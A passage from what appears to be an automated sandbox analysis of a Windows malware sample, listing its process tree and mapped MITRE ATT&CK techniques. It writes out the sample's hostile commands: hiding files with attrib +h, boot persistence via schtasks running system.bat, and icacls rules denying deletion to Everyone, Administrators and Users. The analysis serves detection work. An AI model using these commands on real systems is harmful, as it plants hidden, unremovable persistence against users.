        C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
        6⤵
        
        PID:5900
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show interfaces
        7⤵
        
        PID:5804
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:1852
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5900
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:5908
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5948
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:6112
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:1412
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3296
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:132
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:3928
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:1604
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2072
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:2956
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4684
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:7088
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:7116
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2748
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2856
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:3132
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:6460
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3800
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:4392
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2828
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:6672
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:1576
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4748
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4000
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:4600
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:280
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5972
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:1412
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:784
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:6512
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:1916
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2912
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5704
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:5692
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:304
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:6956
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:1616
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4508
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5856
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:648
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4612
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2948
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:5708
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5420
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4976
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:3408
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2008
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:6776
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:6388
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4836
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3100
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:6612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\systemrayxadmin\rayxservice.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\systemrayxadmin\rayxservice.exe"
      4⤵
      Views/modifies file attributes
      PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\systemrayxadmin\system.bat""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\systemrayxadmin\system.bat"
      4⤵
      Views/modifies file attributes
      PID:3484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\systemrayxadmin""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\systemrayxadmin"
      4⤵
      Views/modifies file attributes
      PID:3496
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn servicebat /tr C:\Users\systemrayxadmin\system.bat /sc onstart /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\systemrayxadmin" /deny *S-1-1-0:(D)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\systemrayxadmin" /deny *S-1-1-0:(D)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\systemrayxadmin" /deny *S-1-5-32-544:(D)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\systemrayxadmin" /deny *S-1-5-32-544:(D)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\systemrayxadmin" /deny *S-1-5-32-545:(D)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2232
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\systemrayxadmin" /deny *S-1-5-32-545:(D)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4700

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5332

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1604

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6652

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2640

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:6224

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:784

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:3
1⤵
PID:2244

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3336

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:4
1⤵
PID:648

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:7552

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:5
1⤵
PID:7780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Safe Mode Boot

T1562.009

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry